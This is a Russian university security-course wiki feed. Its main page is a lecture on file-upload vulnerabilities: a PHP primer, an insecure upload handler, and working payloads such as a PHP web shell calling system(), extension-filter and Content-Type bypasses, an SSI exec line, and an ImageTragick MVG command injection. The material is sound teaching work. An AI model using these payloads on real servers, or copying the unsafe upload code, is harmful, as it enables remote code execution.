Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (17 сентября 2020) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (24 сентября 2020) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (1 октября 2020) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (8 октября 2020) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (15 октября 2020) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=311</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=311"/>
		<updated>2020-10-12T14:16:02Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: Новая страница: «=Введение=  &amp;#039;&amp;#039;&amp;#039;Загрузка файлов пользователями&amp;#039;&amp;#039;&amp;#039; - довольно частая часть функциональности…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
* операторы сравнения: ==, ===, !=, !==, &amp;gt;, &amp;lt;, &amp;lt;=, &amp;gt;=&lt;br /&gt;
* and, or - логические и и или соответственно&lt;br /&gt;
==Циклы==&lt;br /&gt;
Синтаксис while: while (условие_остановки):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$i = 0;&lt;br /&gt;
while ($i &amp;lt; 10) {&lt;br /&gt;
    print($i);&lt;br /&gt;
    $i = $i + 1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Синтаксис for: for (команда,_выполняемая_до_цикла; условие_осатновки; команда,_выполняемая_в_ конце_каждой_операции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
for ($x = 0; $x &amp;lt; 10; ++$x) {&lt;br /&gt;
    print($x);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Для асоциативных массивах есть цикл foreach:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&lt;br /&gt;
    &#039;Имя&#039; =&amp;gt; &#039;Евгений&#039;,&lt;br /&gt;
    &#039;Возраст&#039; =&amp;gt; &#039;27&#039;,&lt;br /&gt;
    &#039;Род занятий&#039; =&amp;gt; &#039;Программист&#039;&lt;br /&gt;
];&lt;br /&gt;
foreach ($user as $key =&amp;gt; $value) {&lt;br /&gt;
    print($key . &#039;: &#039;);&lt;br /&gt;
    print($value . &#039;&amp;lt;br&amp;gt;&#039;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Функции==&lt;br /&gt;
Синтаксис: имя_функции(аргументы_функции):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
function is_even($number) {&lt;br /&gt;
    if ($number % 2 != 0) {&lt;br /&gt;
        return false;&lt;br /&gt;
    } else {&lt;br /&gt;
        return true;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (is_even(3)) {&lt;br /&gt;
    print(&amp;quot;3 - четное число&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;3 - нечетное число&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Подключение файлов==&lt;br /&gt;
Чтобы не писать всё в одном файле, используется команда require.&lt;br /&gt;
Содержимое файла sub.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
print(&amp;quot;Привет, я содержимое из sub.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Содержимое файла index.php:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
require &#039;sub.php&#039;;&lt;br /&gt;
print(&amp;quot;А я - index.php!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После подключения sub.php, содержимого этого файла доступно в index.php.&lt;br /&gt;
==Полезные константы==&lt;br /&gt;
* __DIR__ — полный путь к директории, в которой находится текущий сценарий&lt;br /&gt;
* __FILE__ — полный путь к текущему сценарию&lt;br /&gt;
* $_COOKIE — ассоциативный массив, содержащий куки&lt;br /&gt;
* $_SESSION — ассоциативный массив, содержащий информацию о сессии&lt;br /&gt;
* $_POST — ассоциативный массив, содержащий данные, полученные после POST запроса&lt;br /&gt;
* $_GET — ассоциативный массив, содержащий данные, полученные после GET запроса&lt;br /&gt;
=Примеры=&lt;br /&gt;
1. Пусть есть сайт с формой:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;feedback&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваше имя: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;name&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш email: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;email&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Сообщение: &amp;lt;textarea name=&amp;quot;message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
При получении формы сервером, данные из неё можно получить следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_POST)) {&lt;br /&gt;
    print(&amp;quot;Имя: &amp;quot; . $_POST[&#039;name&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Email: &amp;quot; . $_POST[&#039;email&#039;]);&lt;br /&gt;
    print(&amp;quot;&amp;lt;br&amp;gt;Сообщение: &amp;quot; . $_POST[&#039;message&#039;]);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
2. Другой пример - отправка формы:&lt;br /&gt;
Клиент:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;HTML&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form name=&amp;quot;file_upload&amp;quot; method=&amp;quot;POST&amp;quot; action=&amp;quot;form.php&amp;quot; enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;label&amp;gt;Ваш аватар: &amp;lt;input type=&amp;quot;file&amp;quot; name=&amp;quot;avatar&amp;quot;&amp;gt;&amp;lt;/label&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;send&amp;quot; value=&amp;quot;Отправить файл&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Работать с файлом ожно следующим образом:&lt;br /&gt;
Сервер:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if (isset($_FILES[&#039;avatar&#039;])) {&lt;br /&gt;
    $file = $_FILES[&#039;avatar&#039;];&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;Загружен файл с именем &amp;quot; . $file[&#039;name&#039;] . &amp;quot; и размером &amp;quot; . $file[&#039;size&#039;] . &amp;quot; байт&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если не переместить файл в постаянную папку - файл будет удален:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$current_path = $_FILES[&#039;avatar&#039;][&#039;tmp_name&#039;];&lt;br /&gt;
$filename = $_FILES[&#039;avatar&#039;][&#039;name&#039;];&lt;br /&gt;
$new_path = dirname(__FILE__) . &#039;/&#039; . $filename;&lt;br /&gt;
&lt;br /&gt;
move_uploaded_file($current_path, $new_path);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=SQL=&lt;br /&gt;
Так же можно работать с базами данных. mysqli_connect - функция для подключения к mysql-серверу, mysqli_query - отправка sql-запроса:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$link = mysqli_connect(&amp;quot;localhost&amp;quot;, &amp;quot;root&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
$sql = &#039;INSERT INTO cities SET name = &amp;quot;Санкт-Петербург&amp;quot;&#039;;&lt;br /&gt;
$result = mysqli_query($link, $sql);&lt;br /&gt;
&lt;br /&gt;
if ($result == false) {&lt;br /&gt;
    print(&amp;quot;Произошла ошибка при выполнении запроса&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=web shell=&lt;br /&gt;
&lt;br /&gt;
Простейшим примером является загрузка файла с расширением .php на сайт, работающий на PHP (в качестве проверки можно попробовать обратиться по адресу &#039;&#039;&#039;cite.com/index.php&#039;&#039;&#039; и не получить ошибки). По умолчанию PHP-сайты работают так что пользователь обращается по URL к файлу (URL сайта, начиная с первого /, отображаются на определенную директорию на сервере, она называется &#039;&#039;&#039;web root&#039;&#039;&#039;) и, если этот файл имеет расширение php (или другое расширение из предопределенного списка расширений для PHP-файлов), то содержимое этого файла выполняется как код на PHP, вывод этого кода возвращается пользователю в ответе (кстати, так работает не только PHP, но и ASP.NET Web Forms, JSP, ASP). В результате, если пользователь может загрузить на сайт файл c расширением .php и обратиться к нему по URL (т. е. этот файл будет создан где-то внутри &#039;&#039;&#039;web root&#039;&#039;&#039;), то, если сервер специально не настроен чтобы файлы из директории для загрузок не выполнялись, PHP-код в нём будет выполнен. Соответственно, загрузив на уязвимый сайт файл &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt; с кодом &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42 * 66613;&lt;br /&gt;
&amp;lt;?php system(&#039;ls -lsa&#039;); ?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и, получив ссылку на него (к примеру, /uploads/5c8e82bb8ad66/attack.php), обратится по ней, то в результате этот PHP-код выполнится и в ответе сервера будет &lt;br /&gt;
произведение чисел 42 и 66613, а также список всех файлов в длинном формате (функция PHP system работает так же как одноимённая функция библиотеки Си - то есть выполняет команду shell). В итоге атакующий получает выполнение произвольного кода на сервере (RCE).&lt;br /&gt;
&lt;br /&gt;
=Обход методов защиты и атака=&lt;br /&gt;
&lt;br /&gt;
==Валидация имени файла==&lt;br /&gt;
&lt;br /&gt;
===Черный список ресширений===&lt;br /&gt;
Обходится с помощью использования двойных расширений (&amp;lt;code&amp;gt;shell.php.png&amp;lt;/code&amp;gt;) или  малоизвестный расширений (&amp;lt;code&amp;gt;.php5&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.phtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.shtml&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt;). Кроме того, возможна инъекция нулевого байта (&amp;lt;code&amp;gt;shell.php%00.jpg&amp;lt;/code&amp;gt;) или регистрозависимость при проверке (&amp;lt;code&amp;gt;PHp3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;.aSp&amp;lt;/code&amp;gt;). &lt;br /&gt;
&lt;br /&gt;
===Белый список расширений===&lt;br /&gt;
Спасает от использования атакующим малоизвестных и регистрозависимых расширений, но все ещё обходится с помощью двойных расширений или инъекции нулевого байта. &lt;br /&gt;
&lt;br /&gt;
===Санитайзеры===&lt;br /&gt;
Оставляет большую степень свободы. Например, если санитайзер удаляет вхождения подстрок типа &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt;, то использования имени файла вида &amp;lt;code&amp;gt;shell.p&#039;&#039;&#039;.php&#039;&#039;&#039;hp&amp;lt;/code&amp;gt; позволяет после загрузки получить файл с именем &amp;lt;code&amp;gt;shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Валидация Content-Type==&lt;br /&gt;
Обходится изменением заголовка Content-Type, например, с помощью перехватывающего прокси (burp suite). Соответсвенно, в запросе &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: easy.fu.khashaev.ru&lt;br /&gt;
Content-Length: 200&lt;br /&gt;
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary&lt;br /&gt;
------WebKitFormBoundary&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;info.php&amp;quot;&lt;br /&gt;
Content-Type: text/php&lt;br /&gt;
 &amp;lt;?php phpinfo(); ?&amp;gt;&lt;br /&gt;
------WebKitFormBoundary--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
строчка &amp;lt;code&amp;gt;Content-Type: text/php&amp;lt;/code&amp;gt; может быть заменена на строчку &amp;lt;code&amp;gt;Content-Type: image/png&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
==Прочее==&lt;br /&gt;
&#039;&#039;&#039;Server Side Includes&#039;&#039;&#039; - язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Имеет расширения .shtml, .stm или .shtm. Например, при загрузке и вызове &#039;&#039;&#039;file.shtml&#039;&#039;&#039;, содержащего код &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;!-- #exec cmd=&amp;quot;ls&amp;quot; --&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующему будет выведен список файлов данной директории. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Static HTML&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
При возможности загрузить на сервис статический HTML, создается HTML-страница, содержащая  вредоносный код (например, крадущего cookie), и ссылка на этот файл отправляется жертве. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Path Traversal&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Атака, основанная на использовании специфически составленных имен файлов (например, &amp;lt;code&amp;gt;../config.ini&amp;lt;/code&amp;gt;), позволяющих выйти за пределы директории хранения файлов. Может привести к переписыванию исходных фалов веб-приложения, конфигурационных или системных файлов. &lt;br /&gt;
Атака возможна, если не используется функция &amp;lt;code&amp;gt;basename&amp;lt;/code&amp;gt; (возвращает последний компонент имени из указанного пути) или её аналог. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filename XSS&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Сервис уязвим к XSS, если допускается имя файла вида &amp;lt;code&amp;gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Полиглоты==&lt;br /&gt;
Полиглотами называют файлы, которые могут быть корректно распознаны как файлы разных типов. &lt;br /&gt;
Можно встраивать &lt;br /&gt;
* JavaScript в JPEG, GIF, PNG, PDF&lt;br /&gt;
* HTML в что-нибудь &lt;br /&gt;
* PHP в [https://rdot.org/forum/showthread.php?t=2780 JPEG ], [https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif GIF], [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ PNG]&lt;br /&gt;
&lt;br /&gt;
===Структура JPEG===&lt;br /&gt;
Все jpeg-файлы имеют схожую структуру. Рассмотрим в качестве примера изображение&lt;br /&gt;
&lt;br /&gt;
[[Файл:Mini.jpg|128px]]&lt;br /&gt;
 &lt;br /&gt;
В hex-редакторе оно выглядит следующим образом &lt;br /&gt;
&lt;br /&gt;
[[Файл:Hex_print.png]]&lt;br /&gt;
&lt;br /&gt;
В структуре jpeg-файлов содержатся служебные маркеры, состоящие из двух байт и всегда начинающиеся с FF.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FF D8&#039;&#039;&#039; - маркер начала jpeg-файла;&lt;br /&gt;
* &#039;&#039;&#039;FF DA&#039;&#039;&#039; - маркер начала секции Start of Scan:&lt;br /&gt;
** в двух байтах хранится длинна заголовка изображения [00 0C];&lt;br /&gt;
** заголовок изображения [03 01 00 02 11 03 11 00 3F 00];&lt;br /&gt;
** непосредственно информацию о самом изображении;&lt;br /&gt;
* &#039;&#039;&#039;FF D9&#039;&#039;&#039; - маркер конца jpeg-файла.&lt;br /&gt;
&lt;br /&gt;
=Image Magic=&lt;br /&gt;
&#039;&#039;&#039;ImageMagick&#039;&#039;&#039; — набор программ для чтения и редактирования файлов множества графических форматов, свободное и кроссплатформенное ПО. Может использоваться с языками Perl, C, C++, Python, Ruby, PHP, Node.js, Pascal, Java, Delphi, в скриптах командной оболочки или самостоятельно.&lt;br /&gt;
ImageMagick обладает широким набором возможностей (конвертация, маскирование, увеличение контрастности и т.п.) и поддерживает работу с различными типами файлов, но так же в нем находили различные уязвимости:&lt;br /&gt;
* RCE [CVE-2016-3714]&lt;br /&gt;
* SSRF [CVE-2016-3718]&lt;br /&gt;
* File deletion [CVE-2016-3715]&lt;br /&gt;
* File moving [CVE-2016-3716]&lt;br /&gt;
* Local File Read [CVE-2016-3717]&lt;br /&gt;
CVE - Common Vulnerabilities and Exposures - база данных общеизвестных уязвимостей информационной безопасности.&lt;br /&gt;
&lt;br /&gt;
Был создан сайт [https://imagetragick.com/ ImageTragick], посвященный описанию некоторых уязвимостей ImageMagic. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Пример.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Допустим, что есть некоторый онлайн-сервис, позволяющих переводить файлы в разные форматы, использующий библиотеку ImageMagic. &lt;br /&gt;
Тогда, создав файл exploit.mvg с содержанием&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
push graphic-context&lt;br /&gt;
viewbox 0 0 640 480&lt;br /&gt;
fill &#039;url(https://example.com/&lt;br /&gt;
image.jpg &amp;quot; ; | ls  &amp;quot;-la)&#039;&lt;br /&gt;
pop graphic-context&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
и выполнив запрос на преобразование файла, аналогичный команде &lt;br /&gt;
&amp;lt;pre&amp;gt;$ convert exploit.mvg out.png&amp;lt;/pre&amp;gt;&lt;br /&gt;
атакующий получит список всех файлов директории.&lt;br /&gt;
&lt;br /&gt;
=Задания=&lt;br /&gt;
* http://easy.stands.secsem.msu.ru/&lt;br /&gt;
* http://type.stands.secsem.msu.ru/&lt;br /&gt;
* http://hand.stands.secsem.msu.ru/&lt;br /&gt;
&lt;br /&gt;
=Ссылки=&lt;br /&gt;
* [https://www.php.net/ https://www.php.net/] - сайт PHP&lt;br /&gt;
* [https://htmlacademy.ru/tutorial/php https://htmlacademy.ru/tutorial/php] - учебник PHP&lt;br /&gt;
